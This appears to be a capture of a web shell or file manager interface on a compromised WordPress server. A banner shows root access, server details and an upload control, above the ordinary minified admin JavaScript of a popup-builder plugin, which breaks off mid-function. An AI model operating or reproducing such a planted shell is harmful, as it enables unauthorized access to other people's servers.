HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/cisegurospatria.sumar.com.py/wp-content/plugins/popup-builder/public/js/Backend.js
function SGPBBackend(){this.closeButtonDefaultPositions={};this.closeButtonDefaultPositions[1]={'left':9,'right':9,'bottom':9};this.closeButtonDefaultPositions[2]={'left':0,'right':0,'top':parseInt('-20'),'bottom':parseInt('-20')};this.closeButtonDefaultPositions[3]={'right':4,'bottom':4,'left':4,'top':4};this.closeButtonDefaultPositions[4]={'left':12,'right':12,'bottom':9};this.closeButtonDefaultPositions[5]={'left':8,'right':8,'bottom':8};this.closeButtonDefaultPositions[6]={'left':parseInt('-18.5'),'right':parseInt('-18.5'),'bottom':parseInt('-18.5'),'top':parseInt('-18.5')};this.autoSaveCount=0;}
SGPBBackend.sgAddEvent=function(element,eventName,fn)
{if(element.addEventListener){element.addEventListener(eventName,fn,false);}
else if(element.attachEvent){element.attachEvent('on'+eventName,fn);}};SGPBBackend.prototype.sgInit=function()
{this.makePopupTitleRequired();this.targetCondition();this.popupSelect2();this.sgTabs();this.accordion();this.initRadioAccordions();this.fixedPositionSelection();this.floatingBtnStylesSelection();this.popupThemesPreview();this.setCloseButtonDefaultPositionValues();this.colorPicker();this.rangeSlider();this.backgroundRangeSliderInit();this.overlayRangeSliderInit();this.imageUpload();this.buttonImageUpload();this.buttonImageRemove();this.backgroundImageUpload();this.backgroundImageRemove();this.multipleChoiceButton();this.switchPopupActive();this.popupsTableRowColorChange();this.previewInit();this.soundUpload();this.resetSound();this.soundPreview();this.showInfo();this.openAnimationPreview();this.closeAnimationPreview();this.resetToDefaultValue();this.editPopupSettingsForFullscreenMode();this.autosave();this.popupBuilderButton();this.downloadSystemInfoFile();this.changeMetaboxTabs();this.newsletterShortcodes();this.openImportPopupsModal();};SGPBBackend.prototype.openImportPopupsModal=function()
{const that=this;jQuery('#sgpbImportSettings').on('click',function(){const data={action:'sgpb_import_settings',nonce:SGPB_JS_PARAMS.nonce};const modal=new SGPBModals();jQuery.post(ajaxurl,data,function(response){const confirmBtn=`<button class="sgpb-btn sgpb-btn-blue sgpb-btn-disabled"id="UploadFileAndImport">Upload file and import</button>`;jQuery(modal.modalContent('uploadFileAndImportForm','',jQuery(response),confirmBtn)).appendTo(document.body);modal.actionsCloseModal();that.uploadPopupsInputChangeListener();that.uploadPopups();});})};SGPBBackend.prototype.uploadPopups=function()
{jQuery('#UploadFileAndImport').on('click',function(){if(jQuery(this).hasClass('sgpb-btn-disabled'))return;jQuery('.sgpb-modal').find('form').find('input[type="submit"]').click();})};SGPBBackend.prototype.uploadPopupsInputChangeListener=function()
{jQuery('.sgpb-modal').find('form').find('input[type="file"]').on('change',function(){if(jQuery(this).val().length){jQuery('#UploadFileAndImport').removeClass('sgpb-btn-disabled')}else{jQuery('#UploadFileAndImport').addClass('sgpb-btn-disabled')}})};SGPBBackend.prototype.newsletterShortcodes=function()
{jQuery('.buttonGroup__button_shortcodes').on('click',function(){var shortcodeValue=jQuery(this).attr('data-value');var tempInput=document.createElement("input");tempInput.value=shortcodeValue;document.body.appendChild(tempInput);tempInput.select();document.execCommand("copy");document.body.removeChild(tempInput);alert('Copied to Clipboard!');});};SGPBBackend.prototype.popupsTableRowColorChange=function()
{jQuery('table tr th input').on('change',function(){if(this.checked){jQuery(this).parent('th').parent('tr').addClass('sgpb-popups-table-selected-row')}else{jQuery(this).parent('th').parent('tr').removeClass('sgpb-popups-table-selected-row')}});jQuery('table thead tr td input').on('change',function(){if(this.checked){jQuery(this).closest('table').find('tbody tr').addClass('sgpb-popups-table-selected-row');}else{jQuery(this).closest('table').find('tbody tr').removeClass('sgpb-popups-table-selected-row');}});};SGPBBackend.prototype.changeMetaboxTabs=function()
{var that=this;jQuery('.sgpb-metabox-tabs').on('click',function(){var currentElementId=jQuery(this).attr('id');jQuery('.sgpb-metabox-active-tab').removeClass('sgpb-metabox-active-tab');jQuery(this).addClass('sgpb-metabox-active-tab');jQuery('.sgpb-metabox-options').addClass('sg-hide');jQuery('#options-'+currentElementId).removeClass('sg-hide');that.backgroundRangeSliderInit();that.overlayRangeSliderInit();that.rangeSlider();});}
SGPBBackend.prototype.changeTab=function(tab)
{jQuery('#sgpb-editor-options-tab-content-wrapper-'+tab).css('display','none');var i,tabContent,tabLinks;tabContent=jQuery('.sgpb-editor-options-tab-content-wrapper');tabContent.each(function(){jQuery(this).css('display','none');});tabLinks=jQuery('.sgpb-tab-link');tabLinks.each(function(){jQuery(this).removeClass('sgpb-tab-active');});jQuery('#sgpb-editor-options-tab-content-wrapper-'+tab).css('display','block');jQuery('.sgpb-tab-'+tab).addClass('sgpb-tab-active');this.rangeSlider();};SGPBBackend.prototype.downloadSystemInfoFile=function(){if(!jQuery('.sgpb-download-system-info').length){return false;}
jQuery('.sgpb-download-system-info').bind('click',function(){window.location.href=SGPB_JS_PARAMS.postUrl+'?action=sgpb_system_info';});};SGPBBackend.prototype.popupBuilderButton=function()
{var that=this;jQuery(document).on('tinymce-editor-setup',function(event,editor){if('sgpb-newsletter-text'===editor.settings.id){return;}
if(editor.settings.toolbar1.indexOf('popupBuilderHtmlButton')!==-1){return;}
editor.settings.toolbar1+=', popupBuilderHtmlButton';editor.addButton('popupBuilderHtmlButton',{text:'Popup Builder Button',tooltip:'Popup Builder Custom HTML Button',image:sgpbPublicUrl+'img/sgpbLogo.png',onclick:function(){that.mediaButtonPopup('sgpb-custom-button-wrapper');}});});};SGPBBackend.popups=[];SGPBBackend.prototype.mediaButtonPopup=function(hiddenDivId)
{var select2Init=1;var that=this;var popupConfigObj=new PopupConfig();popupConfigObj.magicCall('setContentPadding',14);popupConfigObj.magicCall('setContentBorderRadius',4);popupConfigObj.magicCall('setContentBorderRadiusType','px');popupConfigObj.magicCall('setScrollingEnabled',true);popupConfigObj.magicCall('setContentBorderWidth',5);popupConfigObj.magicCall('setContentBorderColor','#506274');popupConfigObj.magicCall('setShadowSpread',1);popupConfigObj.magicCall('setContentShadowBlur',4);popupConfigObj.magicCall('setContentShadowColor','#cccccc');popupConfigObj.magicCall('setMinWidth',400);popupConfigObj.magicCall('contents',document.getElementById(hiddenDivId));popupConfigObj.magicCall('setOverlayColor','black');popupConfigObj.magicCall('setOverlayOpacity',40);var config=popupConfigObj.combineConfigObj();var popup=new SGPopup(config);if(!SGPBBackend.popups.length){SGPBBackend.popups.push(popup);}
SGPBBackend.popups[0].open();jQuery(window).bind('sgpbDidOpen',function(){jQuery('.sgpb-insert-popup').addClass('js-sg-select2');if(select2Init===1){that.popupSelect2();}
select2Init++;jQuery('.select2-container--below').remove();that.popupSelect2();that.customButtonColorPicker();if(mediaButtonParams.currentPostType!==mediaButtonParams.popupBuilderPostType){that.customButtonColorPicker();jQuery('.sgpb-custom-button-popup').addClass('js-sg-select2');if(select2Init===1){that.popupSelect2();}
select2Init++;jQuery('.select2-container--below').remove();that.popupSelect2();}
else{that.multipleChoiceButton();that.customButtonColorPicker();}
that.insertHTMLButtonToEditor();that.closeMediaButtonPopup(popup);});that.accordion();jQuery(window).on('sgpbMultichoiceChanged',function(){that.accordion();});};SGPBBackend.prototype.customButtonColorPicker=function()
{var that=this;var colorPicker=jQuery('.sgpb-custom-button-color-picker');if(!colorPicker.length){return false;}
colorPicker.wpColorPicker({change:function(){var colorPickerElement=jQuery(this);that.changeColor(colorPickerElement);}});jQuery('.wp-picker-holder').bind('click',function(){var selectedInput=jQuery(this).prev().find('.sgpb-color-picker');that.changeColor(selectedInput);});};SGPBBackend.prototype.insertHTMLButtonToEditor=function()
{jQuery('.sgpb-insert-custom-button-to-editor').unbind('click').bind('click',function(){var buttonTitle=jQuery('#sgpb-custom-btn-title').val();var style='';jQuery('.sgpb-custom-button-settings').each(function(){var styleType=jQuery(this).data('style-type');var val=jQuery(this).val();style+=styleType+': '+val+';';});var defaultStyles={padding:0,'font-size':'22px','font-weight':900};for(var styleType in defaultStyles){style+=styleType+': '+defaultStyles[styleType]+';';}
var serizlizedOption=jQuery('#sgpb-custom-button-wrapper').find('select,textarea, input');var allOptionsObj={};serizlizedOption.each(function(){var name=jQuery(this).attr('name');if(jQuery(this).attr('type')==='checkbox'){if(jQuery(this).is(':checked')){var value=jQuery(this).val();allOptionsObj[name]=value;}
return true;}
if(jQuery(this).attr('type')==='radio'){if(jQuery(this).is(':checked')){var value=jQuery(this).val();allOptionsObj[name]=value;}}
else{var value=jQuery(this).val();allOptionsObj[name]=value;}});var bgColor=allOptionsObj['sgpb-custom-btn-bg-color'];var hoverBgColor=allOptionsObj['sgpb-custom-btn-bg-color'];var allOptionsJson=encodeURI(JSON.stringify(allOptionsObj));var id=Math.floor(Math.random()*Math.floor(100000));var button='<button style="'+style+'" class="sgpb-html-custom-button sgpb-html-custom-button-'+id+'" data-options='+allOptionsJson+' onMouseOver="this.style.backgroundColor="'+hoverBgColor+'"  onMouseOut="this.style.backgroundColor="'+bgColor+'" ">'+buttonTitle+'</button>';button+='<style>.sgpb-html-custom-button-'+id+':hover {background-color: '+hoverBgColor+' !important;}</style>';if(allOptionsObj['sgpb-custom-button']==='openPopup'){var currentPopupId=allOptionsObj['sgpb-custom-button-popup'];button='[sg_popup id="'+currentPopupId+'" insidePopup="on"] <br>'+button+'<br>[/sg_popup]';}
window.send_to_editor(button);});};SGPBBackend.prototype.closeMediaButtonPopup=function(popup)
{jQuery('.sgpb-close-media-popup-js').on('click',function(){popup.close();});};SGPBBackend.prototype.resetToDefaultValue=function()
{var htmlTarget=jQuery('.js-sgpb-reset-default-value');if(!htmlTarget.length){return false;}
htmlTarget.each(function(){jQuery(this).bind('change',function(){var currentValue=jQuery(this).val();var defaultValue=jQuery(this).data('default');if(!defaultValue||currentValue){return false;}
jQuery(this).val(defaultValue);});});};SGPBBackend.prototype.showInfo=function()
{jQuery('.question-mark').hover(function(){jQuery(this).next('.sgpb-info-wrapper').find('.sgpb-info-text').css({'display':'inline-block'});},function(){jQuery(this).next('.sgpb-info-wrapper').find('.sgpb-info-text').css({'display':'none'});});};SGPBBackend.prototype.soundPreview=function()
{var songValue=1;var lastSong=undefined;jQuery('.sgpb-js-preview-sound').bind('click',function(){var uploadFile=jQuery('#js-sound-open-url').val();if(typeof lastSong==='undefined'){lastSong=new Audio(uploadFile);}
if(songValue===1){lastSong.play();songValue=2;}
else if(songValue===2){lastSong.pause();songValue=1;}
lastSong.onended=function()
{lastSong=undefined;songValue=1;};});jQuery('#js-sound-open-url').change(function(){if(typeof lastSong!=='undefined'){lastSong.pause();lastSong=undefined;}
songValue=1;});jQuery('#js-reset-to-default-song').click(function(e){e.preventDefault();if(typeof lastSong!=='undefined'){lastSong.pause();lastSong=undefined;}
songValue=1;var defaultSong=jQuery(this).data('default-song');jQuery('#js-sound-open-url').val(defaultSong).change();});};SGPBBackend.prototype.resetSound=function()
{var resetButton=jQuery('#js-reset-to-default-song');if(!resetButton.length){return false;}
resetButton.bind('click',function(){var defaultSoundUrl=jQuery(this).data('default-song');jQuery('#js-sound-open-url').val(defaultSoundUrl).change();});};SGPBBackend.prototype.soundUpload=function()
{var uploadButton=jQuery('#js-upload-open-sound-button');var supportedAudioTypes=['audio/mp3','audio/m4a','audio/ogg','audio/wav','audio/mpeg'];if(!uploadButton.length){return false;}
var uploader;uploadButton.bind('click',function(e){e.preventDefault();if(uploader){uploader.open();return false;}
uploader=wp.media.frames.file_frame=wp.media({titleFF:SGPB_JS_LOCALIZATION.changeSound,button:{text:SGPB_JS_LOCALIZATION.changeSound},library:{type:['audio/mpeg','audio/wav']},multiple:false});uploader.on('select',function(){var attachment=uploader.state().get('selection').first().toJSON();if(supportedAudioTypes.indexOf(attachment.mime)===-1){alert(SGPB_JS_LOCALIZATION.audioSupportAlertMessage);return;}
jQuery('#js-sound-open-url').val(attachment.url).change();});uploader.open();});};SGPBBackend.prototype.openAnimationPreview=function()
{var openAnimationPreview=jQuery('.sgpb-preview-open-animation');if(!openAnimationPreview.length){return false;}
var openAnimation=jQuery('.sgpb-preview-open-animation');var openAnimationDiv=jQuery('#js-open-animation-effect');var speed=jQuery('#sgpb-open-animation-speed');var openAnimationAction=function(){var speedVal=parseInt(speed.val());if(!speedVal){speedVal=1;}
var speedSeconds=speedVal*1000;setTimeout(function(){openAnimationDiv.hide();},speedSeconds);openAnimationDiv.removeClass();openAnimationDiv.css({'animationDuration':speedSeconds+'ms',display:'block'});openAnimationDiv.addClass('sgpb-js-open-animation-effect sg-animated '+jQuery('.sgpb-open-animation-effects option:selected').val());};jQuery('.sgpb-open-animation-effects').bind('change',openAnimationAction);openAnimationPreview.bind('click',openAnimationAction);};SGPBBackend.prototype.closeAnimationPreview=function()
{var closeAnimationPreview=jQuery('.sgpb-preview-close-animation');if(!closeAnimationPreview.length){return false;}
var closeAnimation=jQuery('.sgpb-preview-close-animation');var closeAnimationDiv=jQuery('#js-close-animation-effect');var speed=jQuery('#sgpb-close-animation-speed');var closeAnimationAction=function(){var speedVal=parseInt(speed.val());if(!speedVal){speedVal=1;}
var speedSeconds=speedVal*1000;setTimeout(function(){closeAnimationDiv.hide();},speedSeconds);closeAnimationDiv.removeClass();closeAnimationDiv.css({'animationDuration':speedSeconds+'ms',display:'block'});closeAnimationDiv.addClass('sgpb-js-close-animation-effect sg-animated '+jQuery('.sgpb-close-animation-effects option:selected').val());};jQuery('.sgpb-close-animation-effects').bind('change',closeAnimationAction);closeAnimationPreview.bind('click',closeAnimationAction);};SGPBBackend.prototype.multipleChoiceButton=function()
{if(!jQuery('.sgpb-choice-wrapper input').length){return false;}
var that=this;jQuery('.sgpb-choice-option-wrapper input').each(function(){if(jQuery(this).is(':checked')){that.buildChoiceShowOption(jQuery(this));}
jQuery(this).on("click",function(){that.hideAllChoiceWrapper(jQuery('.sgpb-choice-option-wrapper'));that.buildChoiceShowOption(jQuery(this));jQuery(window).trigger('sgpbMultichoiceChanged');});});};SGPBBackend.prototype.hideAllChoiceWrapper=function(choiceOptionsWrapper)
{choiceOptionsWrapper.each(function(){var choiceInput=jQuery(this).find('input');if(!choiceInput.length){return;}
var choiceInputWrapperId=choiceInput.attr('data-attr-href');jQuery('#'+choiceInputWrapperId).addClass('sg-hide');});};SGPBBackend.prototype.buildChoiceShowOption=function(currentRadioButton)
{var choiceOptions=currentRadioButton.attr('data-attr-href');var currentOptionWrapper=currentRadioButton.parents('.sgpb-choice-wrapper').first();var choiceOptionWrapper=jQuery('#'+choiceOptions).removeClass('sg-hide');currentOptionWrapper.after(choiceOptionWrapper);};SGPBBackend.prototype.initRadioAccordions=function()
{var radioButtonsList=[jQuery("[name='sgpb-content-click-behavior']"),jQuery("[name='sgpb-popup-dimension-mode']")];for(var radioButtonIndex in radioButtonsList){var radioButton=radioButtonsList[radioButtonIndex];if(typeof radioButton!=='object'){continue;}
var that=this;radioButton.each(function(){that.buildRadioAccordionActions(jQuery(this));});radioButton.on("change",function(){that.buildRadioAccordionActions(jQuery(this),'change');});}};SGPBBackend.prototype.buildRadioAccordionActions=function(currentRadioButton,event)
{if(event=='change'){currentRadioButton.parents('.sg-radio-option-behavior').first().find('.js-radio-accordion').addClass('sg-hide');}
var value=currentRadioButton.val();var toggleContent=jQuery('.js-accordion-'+value);toggleContent.addClass('sg-hide');var addAfter=currentRadioButton;if(currentRadioButton.is(':checked')){if(currentRadioButton.parents('.subFormItem').first().length){addAfter=currentRadioButton.parents('.subFormItem').first();}
jQuery('.js-accordion-'+value).removeClass('sg-hide');addAfter.after(toggleContent);}};SGPBBackend.prototype.accordion=function()
{var that=this;var element=jQuery(".js-checkbox-accordion");element.each(function(){that.checkboxAccordion(jQuery(this));});element.click(function(){that.checkboxAccordion(jQuery(this));if(jQuery(this).attr('id')=='sgpb-show-background'){SGPBBackend.prototype.backgroundRangeSliderInit();}
else if(jQuery(this).attr('id')=='sgpb-enable-popup-overlay'){SGPBBackend.prototype.overlayRangeSliderInit();}});};SGPBBackend.prototype.checkboxAccordion=function(element)
{if(!element.is(':checked')){element.parents('.formItem').first().nextAll('div').first().find('input').attr('disabled','disabled');element.parents('.formItem').first().nextAll('div').first().css({'display':'none'});if(element.attr('id')=='schedule-status'){element.parents('.formItem').first().nextAll('div').first().find('select').removeAttr('required');}}
else{element.parents('.formItem').first().nextAll('div').first().find('input:disabled').removeAttr('disabled');element.parents('.formItem').first().nextAll('div').first().css({'display':'inline-block'});if(element.attr('id')=='schedule-status'){element.parents('.formItem').first().nextAll('div').first().find('select').attr('required','required');}}};SGPBBackend.prototype.sgTabs=function()
{jQuery('.events-tabs').each(function(){jQuery(this).tabs();});};SGPBBackend.prototype.targetCondition=function()
{this.addRuleRow();this.addGroupRow();this.removeRuleButton();this.editOpenPopup();this.changeConditionParams();};SGPBBackend.prototype.reInitRulesConfigButton=function()
{this.addRuleRow();this.addGroupRow();this.removeRuleButton();this.changeConditionParams();this.editOpenPopup();this.popupSelect2();this.sgTabs();this.showInfo();};SGPBBackend.prototype.editOpenPopup=function()
{if(jQuery('.sgpb-rules-edit-rule').length==0){return;}
var that=this;that.unbindPopup();jQuery('.sgpb-rules-edit-rule').each(function(){jQuery(this).on('click',function(e){e.preventDefault();var hiddenDivId=jQuery(this).children('i').attr('data-id');var popupConfigObj=new PopupConfig();popupConfigObj.magicCall('setContentPadding',8);popupConfigObj.magicCall('setMinWidth',500);popupConfigObj.magicCall('setSrcElement',hiddenDivId);popupConfigObj.magicCall('setOverlayColor','black');var config=popupConfigObj.combineConfigObj();config.willOpen=function(){that.reInitRulesConfigButton();};var popup=new SGPopup(config);popup.open();jQuery(window).bind('sgpbDidOpen',function(){that.popupContentTabs();that.popupHiddenContentAccordions();});jQuery('.sgpb-popup-option-save').on('click',function(e){e.preventDefault();var parent=jQuery(this).parents('.sgpb-wrapper').first();var elements=parent.find('.sgpb-popup-option');if(elements.length){elements.each(function(){var currentValue=jQuery(this).val();var type=jQuery(this).attr('type');if(type=='checkbox'){var currChecked=jQuery(this).is(':checked');jQuery(this).prop('defaultChecked','');if(currChecked){jQuery(this).prop('defaultChecked','checked')}}
else if(type=='text'){jQuery(this).attr("value",jQuery(this).val());}
else if(type=='number'){currentValue=parseInt(currentValue);if(isNaN(currentValue)){currentValue=0;}
jQuery(this).attr("value",currentValue);}});}
popup.close();});jQuery('.events-option-close').on('click',function(){popup.close();});that.unbindPopup();});});};SGPBBackend.prototype.unbindPopup=function()
{jQuery('.sgpb-rules-edit-rule').each(function(){jQuery(this).unbind();})};SGPBBackend.prototype.addRuleRow=function()
{var that=this;jQuery('.sgpb-rules-add-rule ').unbind();jQuery('.sgpb-rules-add-rule ').on('click',function(e){e.preventDefault();that.eventsAddButtonSpinner(jQuery(this),'show');var prevRuleDiv=jQuery(this).parents('.sg-target-rule').first();var currentGroupDiv=jQuery(this).parents('.sg-target-group').first();var lastRuleId=parseInt(prevRuleDiv.attr('data-rule-id'));var groupId=parseInt(currentGroupDiv.attr('data-group-id'));var conditionName=jQuery(this).parents('.popup-conditions-wrapper').attr('data-condition-type');var ruleId=lastRuleId+1;var data={action:'add_condition_rule_row',nonce_ajax:SGPB_JS_PARAMS.nonce,conditionName:conditionName,ruleId:ruleId,groupId:groupId};jQuery.post(ajaxurl,data,function(response){prevRuleDiv.after(response);jQuery('.popup-conditions-'+conditionName+' > .sg-target-group-'+groupId+' .sg-target-rule-'+lastRuleId+' .sgpb-rules-add-button-wrapper').hide();that.reInitRulesConfigButton();that.eventsAddButtonSpinner(jQuery(this),'hide');});});if(typeof SGPBSelect2==='function'){SGPBSelect2.prototype.hideProOptions();}};SGPBBackend.prototype.addGroupRow=function()
{var that=this;jQuery('.sgpb-rules-add-group').unbind();jQuery('.sgpb-rules-add-group').on('click',function(e){e.preventDefault();var prevGroupDiv=jQuery(this).prevAll('.sg-target-group').first();var currentGroupId=parseInt(prevGroupDiv.attr('data-group-id'));var newGroupId=currentGroupId+1;var conditionName=jQuery(this).parents('.popup-conditions-wrapper').attr('data-condition-type');var data={action:'add_condition_group_row',nonce_ajax:SGPB_JS_PARAMS.nonce,conditionName:conditionName,groupId:newGroupId};jQuery.post(ajaxurl,data,function(response){prevGroupDiv.after(response);that.reInitRulesConfigButton();});});};SGPBBackend.prototype.removeRuleButton=function()
{jQuery('.sgpb-rules-delete-rule').unbind();jQuery('.sgpb-rules-delete-rule').on('click',function(e){e.preventDefault();var currentTargetWrapperDiv=jQuery(this).parents('.popup-conditions-wrapper').first();var currentGroupDiv=jQuery(this).parents('.sg-target-group').first();var currentRuleDiv=jQuery(this).parents('.sg-target-rule').first();var firstGroupDiv=currentTargetWrapperDiv.find('.sg-target-group').first();var lastRuleDiv=currentGroupDiv.find('.sg-target-rule').last();var firstRuleDiv=currentGroupDiv.find('.sg-target-rule').first();var currentGroupsLength=currentTargetWrapperDiv.find('.sg-target-group').length;var currentRulesLength=currentGroupDiv.find('.sg-target-rule').length;var currentGroupId=currentGroupDiv.attr('data-group-id');var firstGroupId=firstGroupDiv.attr('data-group-id');var currentRulId=currentRuleDiv.attr('data-rule-id');var lastRuleId=lastRuleDiv.attr('data-rule-id');var firstRuleId=firstRuleDiv.attr('data-rule-id');if(currentRulId>firstRuleId){currentRuleDiv.remove();}
if(currentGroupId==firstGroupId&&currentGroupsLength==1&&currentRulId==lastRuleId&&currentRulesLength==1){alert('You can not delete the last rule.');}
else{currentRuleDiv.remove();}
if(currentRulId==lastRuleId){lastRuleDiv=currentGroupDiv.find('.sg-target-rule').last();lastRuleDiv.find('.sgpb-rules-add-button-wrapper').removeAttr('style');lastRuleDiv.find('.sgpb-rules-add-button-wrapper').show();}
if(currentRulId==firstRuleId&&currentGroupsLength>1){if(currentRulesLength==1){if(currentGroupId==firstGroupId){currentGroupDiv.next('.sgpb-rules-or').remove();}
else{currentGroupDiv.prev('.sgpb-rules-or').remove();}
currentGroupDiv.remove();}
else{currentRuleDiv.remove();}}});};SGPBBackend.getParamFromUrl=function(param)
{var url=window.location.href;param=param.replace(/[\[\]]/g,"\\$&");var regex=new RegExp("[?&]"+param+"(=([^&#]*)|&|#|$)"),results=regex.exec(url);if(!results){return null;}
if(!results[2]){return'';}
return decodeURIComponent(results[2].replace(/\+/g," "));};SGPBBackend.prototype.changeConditionParams=function()
{var that=this;jQuery('.popup-conditions-wrapper .sg-condition-param-wrapper select').each(function(){jQuery(this).unbind('change').change(function(e){if(this.options[this.selectedIndex].defaultSelected){return;}
e.preventDefault();that.eventsAddButtonSpinner(jQuery(this).parent().parent().find('.sgpb-rules-add-rule'),'show');var prevRuleDiv=jQuery(this).parents('.sg-target-rule').first();var currentGroupDiv=jQuery(this).parents('.sg-target-group').first();var currentTargetDiv=jQuery(this).parents('.popup-conditions-wrapper').first();var groupId=parseInt(currentGroupDiv.attr('data-group-id'));var ruleId=parseInt(prevRuleDiv.attr('data-rule-id'));var conditionName=currentTargetDiv.attr('data-condition-type');var parentDiv=currentTargetDiv.find('.sg-target-rule-'+ruleId).prev();if(!parentDiv.length){parentDiv=null;}
var paramSavedValue=jQuery(this).val();var data={action:'change_condition_rule_row',nonce_ajax:SGPB_JS_PARAMS.nonce,conditionName:conditionName,paramName:paramSavedValue,popupId:SGPBBackend.getParamFromUrl('post'),ruleId:ruleId,groupId:groupId};jQuery.post(ajaxurl,data,function(response){currentTargetDiv.find('.sg-target-rule-'+ruleId).after(response);currentTargetDiv.find('.sg-target-rule-'+ruleId).first().remove();jQuery('.popup-conditions-'+conditionName+' > .sg-target-group-'+groupId+' .sg-target-rule-'+ruleId+' .sgpb-rules-add-button-wrapper').hide();that.reInitRulesConfigButton();if(!currentTargetDiv.find('.sg-target-rule-'+ruleId).next().length){currentTargetDiv.find('.sgpb-rules-add-button-wrapper').last().show();}
that.eventsAddButtonSpinner(jQuery(this).parent().parent().find('.sgpb-rules-add-rule'),'hide');});});});jQuery('.popup-special-conditions-wrapper .sg-condition-operator-wrapper select').each(function(){jQuery(this).change(function(e){e.preventDefault();var paramSavedValue=jQuery(this).val();var currentTargetDiv=jQuery(this).closest('.popup-special-conditions-wrapper');var conditionName=currentTargetDiv.data('condition-type');var paramValue=currentTargetDiv.find('.sg-condition-param-wrapper select').first().val();var ruleId=0;var groupId=0;var prevRuleDiv=jQuery(this).parents('.sg-target-rule').first();var currentGroupDiv=jQuery(this).parents('.sg-target-group').first();var currentTargetDiv=jQuery(this).parents('.popup-conditions-wrapper').first();var groupId=parseInt(currentGroupDiv.attr('data-group-id'));var ruleId=parseInt(prevRuleDiv.attr('data-rule-id'));var data={action:'change_condition_rule_row',nonce_ajax:SGPB_JS_PARAMS.nonce,conditionName:conditionName,paramName:paramSavedValue,paramValue:paramValue,popupId:SGPBBackend.getParamFromUrl('post'),ruleId:ruleId,groupId:groupId};jQuery.post(ajaxurl,data,function(response){currentTargetDiv.find('.sg-target-rule-'+ruleId).after(response);currentTargetDiv.find('.sg-target-rule-'+ruleId).first().remove();that.reInitRulesConfigButton();if(currentTargetDiv.find('.sg-target-rule-'+ruleId).next().length){jQuery('.popup-conditions-'+conditionName+' > .sg-target-group-'+groupId+' .sg-target-rule-'+ruleId+' .sgpb-rules-add-button-wrapper').hide();}});});});};SGPBBackend.prototype.popupSelect2=function()
{if(!jQuery('.js-sg-select2').length){return;}
jQuery('select.js-sg-select2').each(function(){var type=jQuery(this).attr('data-select-type');var className=jQuery(this).attr('data-select-class');var options={width:'100%'};if(type=='ajax'){options=jQuery.extend(options,{minimumInputLength:1,ajax:{url:SGPB_JS_PARAMS.url,dataType:'json',delay:250,type:"POST",data:function(params){var searchKey=jQuery(this).attr('data-value-param');var dataCallback=jQuery(this).attr('data-select-callback');return{action:'select2_search_data',nonce_ajax:SGPB_JS_PARAMS.nonce,searchTerm:params.term,searchCallback:dataCallback,searchKey:searchKey};},processResults:function(data){return{results:jQuery.map(data.items,function(item){return{text:item.text,id:item.id}})};}}});}
jQuery(this).sgpbselect2(options);});};SGPBBackend.prototype.floatingBtnStylesSelection=function()
{var that=this;that.floatingBtnStyleAfterChangeActions();jQuery('.js-floating-button-style').bind('click',function(){var floatinStyleBtn=jQuery(this);var btnStyle=floatinStyleBtn.attr('data-sgvalue');jQuery('#sgpb-floating-button-style').val(btnStyle)
that.floatingBtnStyleAfterChangeActions();});jQuery('.js-floating-button-position').bind('click',function(){var floatinPositionBtn=jQuery(this);var btnPosition=floatinPositionBtn.attr('data-sgvalue');jQuery('#sgpb-floating-button-position').val(btnPosition);that.floatingBtnStyleAfterChangeActions();});}
SGPBBackend.prototype.floatingBtnStyleAfterChangeActions=function()
{var btnStyle=jQuery('#sgpb-floating-button-style').val();jQuery('.js-floating-button-style').removeClass(' active');jQuery('.sgpb-floating-button-style-'+btnStyle).addClass(' active');var btnStyle=jQuery('#sgpb-floating-button-position').val();jQuery('.js-floating-button-position').removeClass(' active');jQuery('.sgpb-floating-button-position-'+btnStyle).addClass(' active');jQuery('.js-floating-button-position').removeClass('sgpb-input-button-disabled');jQuery('.js-floating-button-position').removeAttr('disabled');if(jQuery('#sgpb-floating-button-style').val()=='corner'){jQuery('.sgpb-floating-button-position-left-center').addClass('sgpb-input-button-disabled');jQuery('.sgpb-floating-button-position-top-center').addClass('sgpb-input-button-disabled');jQuery('.sgpb-floating-button-position-right-center').addClass('sgpb-input-button-disabled');jQuery('.sgpb-floating-button-position-bottom-center').addClass('sgpb-input-button-disabled');jQuery('.sgpb-floating-button-position-left-center').attr('disabled','disabled');jQuery('.sgpb-floating-button-position-top-center').attr('disabled','disabled');jQuery('.sgpb-floating-button-position-right-center').attr('disabled','disabled');jQuery('.sgpb-floating-button-position-bottom-center').attr('disabled','disabled');}};SGPBBackend.prototype.fixedPositionSelection=function()
{jQuery(".js-fixed-position-style").bind("click",function(){var sgElement=jQuery(this);var sgPoss=sgElement.attr('data-sgvalue');jQuery(".js-fixed-position-style").removeClass(' active');sgElement.addClass(' active');jQuery(".js-fixed-position").val(sgPoss);});jQuery(".js-fixed-position-style").bind("mouseover",function(){jQuery(".js-fixed-position-style").removeClass(' active');jQuery(this).addClass(' active');jQuery(".js-fixed-position-style").each(function(){if(jQuery(this).attr("data-sgvalue")==jQuery('.js-fixed-position').val())
jQuery(this).addClass(' active');});});jQuery(".js-fixed-position-style").bind("mouseout",function(){if(jQuery(".js-fixed-position-style").attr("data-sgvalue")!==jQuery(".js-fixed-position").val()||jQuery(".js-fixed-position").val()==1){jQuery(this).removeClass(' active');}
jQuery(".js-fixed-position-style").each(function(){if(jQuery(this).attr("data-sgvalue")==jQuery('.js-fixed-position').val()){jQuery(this).addClass(' active');}});});if(jQuery('.js-fixed-position').val()!=''){jQuery(".js-fixed-position-style").each(function(){if(jQuery(this).attr("data-sgvalue")==jQuery('.js-fixed-position').val()){jQuery(this).addClass(' active');}});}};SGPBBackend.prototype.hideTabContents=function(ruleId)
{jQuery(".sgpb-tab-content-"+ruleId).each(function(){var id=jQuery(this).attr("id");var currentTab=jQuery("[data-content-id="+id+"]");if(!currentTab.hasClass('sgpb-active')){jQuery(this).hide();}});};SGPBBackend.prototype.popupContentTabs=function()
{var ruleId=jQuery("#popup-dialog-main-div .sgpb-tab-links").first().attr('data-rule-id');var that=this;this.hideTabContents(ruleId);jQuery("#popupDialogMainDiv .sgpb-tab-links").bind('click',function(){jQuery("#popupDialogMainDiv .sgpb-tab-links").removeClass('sgpb-active');that.hideTabContents(ruleId);jQuery(".sgpb-tab-content").hide();var id=jQuery(this).attr('data-content-id');jQuery('#'+id).show();jQuery(this).addClass('sgpb-active');});};SGPBBackend.prototype.popupHiddenContentAccordions=function()
